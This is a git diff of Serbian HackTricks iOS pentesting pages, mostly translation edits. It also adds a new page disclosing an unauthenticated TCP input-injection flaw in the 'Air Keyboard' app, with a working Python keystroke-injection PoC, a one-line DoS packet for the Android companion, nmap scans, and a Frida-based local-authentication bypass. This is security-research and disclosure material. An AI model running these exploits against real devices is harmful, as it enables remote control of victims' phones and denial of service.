Debugging code često uključuje korišćenje **logging**. Postoji rizik jer **logovi mogu sadržati osetljive informacije**. Ranije, u iOS 6 i starijim verzijama, logovi su bili dostupni svim aplikacijama, što je predstavljalo rizik od curenja osetljivih podataka. **Sada, aplikacije su ograničene na pristup samo svojim logovima**.
|
||||
|
||||
Uprkos ovim ograničenjima, **napadač sa fizičkim pristupom** otključanom uređaju može to iskoristiti povezivanjem uređaja sa računarom i **čitanjem logova**. Važno je napomenuti da logovi ostaju na disku čak i nakon deinstalacije aplikacije.
|
||||
|
||||
Da bi se smanjili rizici, savetuje se da se **temeljno interaguje sa aplikacijom**, istražujući sve njene funkcionalnosti i unose kako bi se osiguralo da se osetljive informacije ne beleže nenamerno.
|
||||
Da bi se smanjili rizici, preporučuje se da se **temeljno interaguje sa aplikacijom**, istražujući sve njene funkcionalnosti i unose kako bi se osiguralo da se osetljive informacije ne beleže nenamerno.
|
||||
|
||||
Kada pregledate izvorni kod aplikacije u potrazi za potencijalnim curenjima, tražite i **predefinisane** i **prilagođene logovanje izjave** koristeći ključne reči kao što su `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` za ugrađene funkcije, i sve pominjanja `Logging` ili `Logfile` za prilagođene implementacije.
|
||||
Kada pregledate izvorni kod aplikacije za potencijalna curenja, tražite i **predefinisane** i **prilagođene logovanje izjave** koristeći ključne reči kao što su `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` za ugrađene funkcije, i sve pominjanja `Logging` ili `Logfile` za prilagođene implementacije.
|
||||
|
||||
### **Monitoring System Logs**
|
||||
|
||||
@ -638,21 +638,21 @@ Slede komande za posmatranje aktivnosti logova, što može biti neprocenjivo za
|
||||
|
||||
## Backupi
|
||||
|
||||
**Auto-backup funkcije** su integrisane u iOS, olakšavajući kreiranje kopija podataka uređaja putem iTunes (do macOS Catalina), Finder (od macOS Catalina nadalje) ili iCloud. Ovi backupovi obuhvataju gotovo sve podatke uređaja, osim veoma osetljivih elemenata kao što su detalji o Apple Pay-u i konfiguracije Touch ID-a.
|
||||
**Auto-backup funkcije** su integrisane u iOS, olakšavajući kreiranje kopija podataka uređaja putem iTunes (do macOS Catalina), Finder (od macOS Catalina nadalje) ili iCloud. Ove kopije obuhvataju skoro sve podatke uređaja, osim veoma osetljivih elemenata kao što su detalji o Apple Pay-u i konfiguracije Touch ID-a.
|
||||
|
||||
### Bezbednosni Rizici
|
||||
|
||||
Uključivanje **instaliranih aplikacija i njihovih podataka** u backupove postavlja pitanje potencijalnog **data leakage** i rizik da **modifikacije backupa mogu promeniti funkcionalnost aplikacije**. Preporučuje se da **ne čuvate osetljive informacije u običnom tekstu** unutar bilo kog direktorijuma aplikacije ili njenih poddirektorijuma kako biste umanjili ove rizike.
|
||||
Uključivanje **instaliranih aplikacija i njihovih podataka** u backup-ove postavlja pitanje potencijalnog **data leakage** i rizik da **modifikacije backup-a mogu promeniti funkcionalnost aplikacije**. Preporučuje se da **ne čuvate osetljive informacije u običnom tekstu** unutar bilo kog direktorijuma aplikacije ili njenih poddirektorijuma kako biste umanjili ove rizike.
|
||||
|
||||
### Isključivanje Fajlova iz Backupova
|
||||
### Isključivanje Fajlova iz Backup-a
|
||||
|
||||
Fajlovi u `Documents/` i `Library/Application Support/` se po defaultu čuvaju u backupu. Programeri mogu isključiti specifične fajlove ili direktorijume iz backupova koristeći `NSURL setResourceValue:forKey:error:` sa `NSURLIsExcludedFromBackupKey`. Ova praksa je ključna za zaštitu osetljivih podataka od uključivanja u backupove.
|
||||
Fajlovi u `Documents/` i `Library/Application Support/` se po defaultu čuvaju u backup-u. Programeri mogu isključiti specifične fajlove ili direktorijume iz backup-a koristeći `NSURL setResourceValue:forKey:error:` sa `NSURLIsExcludedFromBackupKey`. Ova praksa je ključna za zaštitu osetljivih podataka od uključivanja u backup-e.
|
||||
|
||||
### Testiranje na Ranljivosti
|
||||
|
||||
Da biste procenili bezbednost backupa aplikacije, počnite sa **kreiranjem backupa** koristeći Finder, a zatim ga locirajte koristeći smernice iz [Apple-ove zvanične dokumentacije](https://support.apple.com/en-us/HT204215). Analizirajte backup za osetljive podatke ili konfiguracije koje bi mogle biti promenjene da utiču na ponašanje aplikacije.
|
||||
Da biste procenili bezbednost backup-a aplikacije, počnite sa **kreiranjem backup-a** koristeći Finder, zatim ga locirajte koristeći uputstva iz [Apple-ove zvanične dokumentacije](https://support.apple.com/en-us/HT204215). Analizirajte backup za osetljive podatke ili konfiguracije koje bi mogle biti promenjene da utiču na ponašanje aplikacije.
|
||||
|
||||
Osetljive informacije se mogu tražiti koristeći alate komandne linije ili aplikacije kao što je [iMazing](https://imazing.com). Za enkriptovane backupove, prisustvo enkripcije može se potvrditi proverom ključa "IsEncrypted" u "Manifest.plist" fajlu na korenu backupa.
|
||||
Osetljive informacije se mogu tražiti koristeći alate komandne linije ili aplikacije kao što je [iMazing](https://imazing.com). Za enkriptovane backup-e, prisustvo enkripcije može se potvrditi proverom ključa "IsEncrypted" u "Manifest.plist" fajlu na korenu backup-a.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -695,7 +695,7 @@ $ r2 <name_of_your_dump_file>
|
||||
```
|
||||
## **Analiza Memorije u Runtime-u**
|
||||
|
||||
**r2frida** pruža moćnu alternativu za inspekciju memorije aplikacije u realnom vremenu, bez potrebe za dump-ovanjem memorije. Ovaj alat omogućava izvršavanje komandi pretrage direktno na memoriji pokrenute aplikacije:
|
||||
**r2frida** pruža moćnu alternativu za inspekciju memorije aplikacije u realnom vremenu, bez potrebe za dump-ovanjem memorije. Ovaj alat omogućava izvršavanje komandi pretrage direktno u memoriji pokrenute aplikacije:
|
||||
```bash
|
||||
$ r2 frida://usb//<name_of_your_app>
|
||||
[0x00000000]> /\ <search_command>
|
||||
@ -704,7 +704,7 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
|
||||
### Loši Procesi Upravljanja Ključevima
|
||||
|
||||
Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i enkriptuju ih sa ključem koji je hardkodiran/predvidljiv u kodu. To ne bi trebalo da se radi jer bi neki proces obrnute inženjeringa mogao omogućiti napadačima da izvuku poverljive informacije.
|
||||
Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i enkriptuju ih ključem koji je hardkodiran/predvidljiv u kodu. To ne bi trebalo da se radi jer bi neki proces obrnute inženjeringa mogao omogućiti napadačima da izvuku poverljive informacije.
|
||||
|
||||
### Korišćenje Nesigurnih i/ili Zastarelih Algoritama
|
||||
|
||||
@ -724,7 +724,7 @@ Za **više informacija** o iOS kriptografskim API-ima i bibliotekama, posetite [
|
||||
|
||||
**Lokalna autentifikacija** igra ključnu ulogu, posebno kada je u pitanju zaštita pristupa na udaljenom kraju putem kriptografskih metoda. Suština je da bez pravilne implementacije, mehanizmi lokalne autentifikacije mogu biti zaobiđeni.
|
||||
|
||||
Appleov [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) i [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) pružaju robusne API-je za programere kako bi olakšali dijaloge za autentifikaciju korisnika i sigurno upravljali tajnim podacima, redom. Secure Enclave osigurava ID otiska prsta za Touch ID, dok Face ID oslanja se na prepoznavanje lica bez kompromitovanja biometrijskih podataka.
|
||||
Appleov [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) i [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) pružaju robusne API-je za programere kako bi olakšali dijaloge za autentifikaciju korisnika i sigurno upravljali tajnim podacima, redom. Secure Enclave osigurava ID otiska prsta za Touch ID, dok Face ID zavisi od prepoznavanja lica bez kompromitovanja biometrijskih podataka.
|
||||
|
||||
Da bi integrisali Touch ID/Face ID, programeri imaju dva izbora API-ja:
|
||||
|
||||
@ -738,16 +738,16 @@ Da bi integrisali Touch ID/Face ID, programeri imaju dva izbora API-ja:
|
||||
|
||||
Da bi zatražili autentifikaciju od korisnika, programeri treba da koriste metodu **`evaluatePolicy`** unutar klase **`LAContext`**, birajući između:
|
||||
|
||||
- **`deviceOwnerAuthentication`**: Zahteva Touch ID ili lozinku uređaja, neuspešno ako nijedno nije omogućeno.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Isključivo zahteva Touch ID.
|
||||
- **`deviceOwnerAuthentication`**: Zatražuje Touch ID ili lozinku uređaja, neuspešno ako nijedno nije omogućeno.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Isključivo traži Touch ID.
|
||||
|
||||
Uspešna autentifikacija se označava boolean povratnom vrednošću iz **`evaluatePolicy`**, ističući potencijalnu sigurnosnu manu.
|
||||
Uspešna autentifikacija se označava boolean povratnom vrednošću iz **`evaluatePolicy`**, ističući potencijalnu sigurnosnu slabost.
|
||||
|
||||
### Lokalna autentifikacija koristeći Keychain
|
||||
|
||||
Implementacija **lokalne autentifikacije** u iOS aplikacijama uključuje korišćenje **keychain API-a** za sigurno čuvanje tajnih podataka kao što su tokeni za autentifikaciju. Ovaj proces osigurava da podaci mogu biti pristupljeni samo od strane korisnika, koristeći njihovu lozinku uređaja ili biometrijsku autentifikaciju kao što je Touch ID.
|
||||
Implementacija **lokalne autentifikacije** u iOS aplikacijama uključuje korišćenje **keychain API-a** za sigurno čuvanje tajnih podataka kao što su tokeni za autentifikaciju. Ovaj proces osigurava da podaci mogu biti pristupljeni samo od strane korisnika, koristeći njihovu lozinku uređaja ili biometrijsku autentifikaciju poput Touch ID.
|
||||
|
||||
Keychain nudi mogućnost postavljanja stavki sa atributom `SecAccessControl`, koji ograničava pristup stavci dok korisnik ne uspešno autentifikuje putem Touch ID ili lozinke uređaja. Ova funkcija je ključna za poboljšanje sigurnosti.
|
||||
Keychain nudi mogućnost postavljanja stavki sa atributom `SecAccessControl`, koji ograničava pristup stavci dok korisnik uspešno ne autentifikuje putem Touch ID ili lozinke uređaja. Ova funkcija je ključna za poboljšanje sigurnosti.
|
||||
|
||||
Ispod su primeri koda u Swift-u i Objective-C-u koji prikazuju kako sačuvati i preuzeti string iz keychain-a, koristeći ove sigurnosne funkcije. Primeri posebno pokazuju kako postaviti kontrolu pristupa da zahteva autentifikaciju putem Touch ID i osigurati da su podaci dostupni samo na uređaju na kojem su postavljeni, pod uslovom da je lozinka uređaja konfigurisana.
|
||||
|
||||
@ -876,7 +876,7 @@ NSLog(@"Something went wrong");
|
||||
|
||||
### Detekcija
|
||||
|
||||
Korišćenje okvira u aplikaciji se takođe može otkriti analizom liste deljenih dinamičkih biblioteka binarnog fajla aplikacije. To se može uraditi korišćenjem `otool`:
|
||||
Korišćenje okvira u aplikaciji može se takođe otkriti analizom liste deljenih dinamičkih biblioteka binarnog fajla aplikacije. To se može uraditi korišćenjem `otool`:
|
||||
```bash
|
||||
$ otool -L <AppName>.app/<AppName>
|
||||
```
|
||||
@ -887,7 +887,7 @@ Ako se `LocalAuthentication.framework` koristi u aplikaciji, izlaz će sadržati
|
||||
```
|
||||
Ako se koristi `Security.framework`, biće prikazan samo drugi.
|
||||
|
||||
### Obilaženje lokalnog okvira za autentifikaciju
|
||||
### Obilaženje lokalnog autentifikacionog okvira
|
||||
|
||||
#### **Objection**
|
||||
|
||||
@ -934,7 +934,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
||||
}
|
||||
}
|
||||
```
|
||||
Da bi se postigao **bypass** lokalne autentifikacije, napisan je Frida skript. Ovaj skript cilja na **evaluatePolicy** proveru, presrećući njen callback kako bi osigurao da vraća **success=1**. Menjanjem ponašanja callback-a, provera autentifikacije se efikasno zaobilazi.
|
||||
Da bi se postigao **bypass** lokalne autentifikacije, napisan je Frida skript. Ovaj skript cilja **evaluatePolicy** proveru, presrećući njen callback kako bi osigurao da vraća **success=1**. Menjanjem ponašanja callback-a, provera autentifikacije se efikasno zaobilazi.
|
||||
|
||||
Skripta ispod se injektuje da bi se izmenio rezultat **evaluatePolicy** metode. Menja rezultat callback-a da uvek označava uspeh.
|
||||
```swift
|
||||
@ -1018,11 +1018,11 @@ burp-configuration-for-ios.md
|
||||
### Provera Imena Host-a
|
||||
|
||||
Jedan uobičajen problem prilikom validacije TLS sertifikata je provera da li je sertifikat potpisan od strane **pouzdanog** **CA**, ali **ne proverava** da li je **ime host-a** sertifikata ime host-a koje se pristupa.\
|
||||
Da biste proverili ovaj problem koristeći Burp, nakon što poverite Burp CA na iPhone-u, možete **napraviti novi sertifikat sa Burp-om za drugo ime host-a** i koristiti ga. Ako aplikacija i dalje radi, onda je nešto ranjivo.
|
||||
Da biste proverili ovaj problem koristeći Burp, nakon što poverite Burp CA na iPhone-u, možete **napraviti novi sertifikat sa Burp-om za različito ime host-a** i koristiti ga. Ako aplikacija i dalje radi, onda je nešto ranjivo.
|
||||
|
||||
### Pinovanje Sertifikata
|
||||
|
||||
Ako aplikacija ispravno koristi SSL Pinovanje, onda će aplikacija raditi samo ako je sertifikat onaj koji se očekuje. Kada testirate aplikaciju **to može biti problem jer će Burp poslužiti svoj sertifikat.**\
|
||||
Ako aplikacija ispravno koristi SSL Pinning, onda će aplikacija raditi samo ako je sertifikat onaj koji se očekuje. Kada testirate aplikaciju **to može biti problem jer će Burp poslužiti svoj sertifikat.**\
|
||||
Da biste zaobišli ovu zaštitu unutar jailbroken uređaja, možete instalirati aplikaciju [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) ili instalirati [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
|
||||
Takođe možete koristiti **objection's** `ios sslpinning disable`
|
||||
@ -1046,7 +1046,7 @@ U tu svrhu obično se koristi [**JSPatch**](https://github.com/bang590/JSPatch)*
|
||||
|
||||
### Treće Strane
|
||||
|
||||
Značajan izazov sa **3rd party SDK-ovima** je **nedostatak granularne kontrole** nad njihovim funkcionalnostima. Programeri se suočavaju sa izborom: ili integrisati SDK i prihvatiti sve njegove funkcije, uključujući potencijalne sigurnosne ranjivosti i probleme sa privatnošću, ili potpuno odustati od njegovih prednosti. Često, programeri nisu u mogućnosti da zakrpe ranjivosti unutar ovih SDK-ova sami. Štaviše, kako SDK-ovi stiču poverenje unutar zajednice, neki mogu početi da sadrže malver.
|
||||
Značajan izazov sa **3rd party SDK-ovima** je **nedostatak granularne kontrole** nad njihovim funkcionalnostima. Programeri se suočavaju sa izborom: ili integrisati SDK i prihvatiti sve njegove funkcije, uključujući potencijalne sigurnosne ranjivosti i probleme sa privatnošću, ili potpuno odustati od njegovih prednosti. Često, programeri nisu u mogućnosti da patch-uju ranjivosti unutar ovih SDK-ova sami. Štaviše, kako SDK-ovi stiču poverenje unutar zajednice, neki mogu početi da sadrže malver.
|
||||
|
||||
Usluge koje pružaju SDK-ovi trećih strana mogu uključivati praćenje ponašanja korisnika, prikazivanje oglasa ili poboljšanja korisničkog iskustva. Međutim, to uvodi rizik jer programeri možda nisu potpuno svesni koda koji izvršavaju ove biblioteke, što dovodi do potencijalnih rizika za privatnost i sigurnost. Ključno je ograničiti informacije koje se dele sa uslugama trećih strana na ono što je neophodno i osigurati da nijedni osetljivi podaci nisu izloženi.
|
||||
|
||||
@ -1056,6 +1056,12 @@ Da biste identifikovali biblioteke koje aplikacija koristi, može se koristiti k
|
||||
```bash
|
||||
otool -L <application_path>
|
||||
```
|
||||
## Zanimljive Ranljivosti i Studije Slučaja
|
||||
|
||||
{{#ref}}
|
||||
air-keyboard-remote-input-injection.md
|
||||
{{#endref}}
|
||||
|
||||
## **Reference i Dodatni Resursi**
|
||||
|
||||
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
|
||||
@ -1084,5 +1090,4 @@ otool -L <application_path>
|
||||
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,91 @@
|
||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
iOS verzija komercijalne aplikacije "Air Keyboard" (App Store ID 6463187929) otvara **TCP servis u čistom tekstu na portu 8888** koji prihvata okvire pritisaka tastera **bez ikakve autentifikacije**. Svaki uređaj na istoj Wi-Fi mreži može se povezati na taj port i injektovati proizvoljni unos sa tastature u telefon žrtve, ostvarujući **potpuno preuzimanje daljinske interakcije**.
|
||||
|
||||
Prateća Android verzija sluša na **portu 55535**. Izvodi slabu AES-ECB razmenu ključeva, ali kreirani otpad uzrokuje **neobrađenu izuzetak u OpenSSL rutini dekripcije**, rušeći pozadinsku uslugu (**DoS**).
|
||||
|
||||
## 1. Otkriće usluge
|
||||
|
||||
Skenirajte lokalnu mrežu i potražite dva fiksna porta koja koriste aplikacije:
|
||||
```bash
|
||||
# iOS (input-injection)
|
||||
nmap -p 8888 --open 192.168.1.0/24
|
||||
|
||||
# Android (weakly-authenticated service)
|
||||
nmap -p 55535 --open 192.168.1.0/24
|
||||
```
|
||||
Na Android uređajima možete lokalno identifikovati odgovarajući paket:
|
||||
```bash
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
|
||||
# rooted device / Termux
|
||||
netstat -tulpn | grep LISTEN
|
||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
```
|
||||
## 2. Format okvira (iOS)
|
||||
|
||||
Binarni fajl otkriva sledeću logiku parsiranja unutar `handleInputFrame()` rutine:
|
||||
```
|
||||
[length (2 bytes little-endian)]
|
||||
[device_id (1 byte)]
|
||||
[payload ASCII keystrokes]
|
||||
```
|
||||
Deklarisana dužina uključuje `device_id` bajt **ali ne** i dvobajtni header.
|
||||
|
||||
## 3. Eksploatacija PoC
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
|
||||
import socket, sys
|
||||
|
||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||
|
||||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||
frame += keystrokes
|
||||
|
||||
with socket.create_connection((target_ip, 8888)) as s:
|
||||
s.sendall(frame)
|
||||
print("Injected", keystrokes)
|
||||
```
|
||||
Svaki štampajući ASCII (uključujući `\n`, `\r`, specijalne tastere, itd.) može biti poslat, efektivno dajući napadaču istu moć kao fizički unos korisnika: pokretanje aplikacija, slanje IM-ova, poseta phishing URL-ovima, itd.
|
||||
|
||||
## 4. Android Companion – Odbijanje usluge
|
||||
|
||||
Android port (55535) očekuje lozinku od 4 karaktera enkriptovanu sa **hard-kodiranim AES-128-ECB ključem** praćenom nasumičnim nonce-om. Greške u parsiranju se prenose na `AES_decrypt()` i nisu uhvaćene, što dovodi do prekida niti slušatelja. Jedan malformirani paket je stoga dovoljan da drži legitimne korisnike isključenim dok se proces ponovo ne pokrene.
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
```
|
||||
## 5. Uzrok
|
||||
|
||||
1. **Nema provere porekla / integriteta** na dolaznim okvirima (iOS).
|
||||
2. **Kryptografska zloupotreba** (stat ključ, ECB, nedostatak provere dužine) i **nedostatak obrade izuzetaka** (Android).
|
||||
|
||||
## 6. Mogućnosti ublažavanja i ideje za jačanje
|
||||
|
||||
* Nikada ne izlažite neautentifikovane usluge na mobilnom uređaju.
|
||||
* Izvedite tajne po uređaju tokom onboardinga i proverite ih pre obrade unosa.
|
||||
* Povežite slušalac na `127.0.0.1` i koristite međusobno autentifikovani, enkriptovani transport (npr., TLS, Noise) za daljinsko upravljanje.
|
||||
* Otkrivajte neočekivane otvorene portove tokom mobilnih bezbednosnih pregleda (`netstat`, `lsof`, `frida-trace` na `socket()` itd.).
|
||||
* Kao krajnji korisnik: deinstalirajte Air Keyboard ili ga koristite samo na pouzdanim, izolovanim Wi-Fi mrežama.
|
||||
|
||||
## Detekcija Cheat-Sheet (Pentesteri)
|
||||
```bash
|
||||
# Quick one-liner to locate vulnerable devices in a /24
|
||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
|
||||
|
||||
# Inspect running sockets on a connected Android target
|
||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
|
||||
```
|
||||
## Reference
|
||||
|
||||
- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user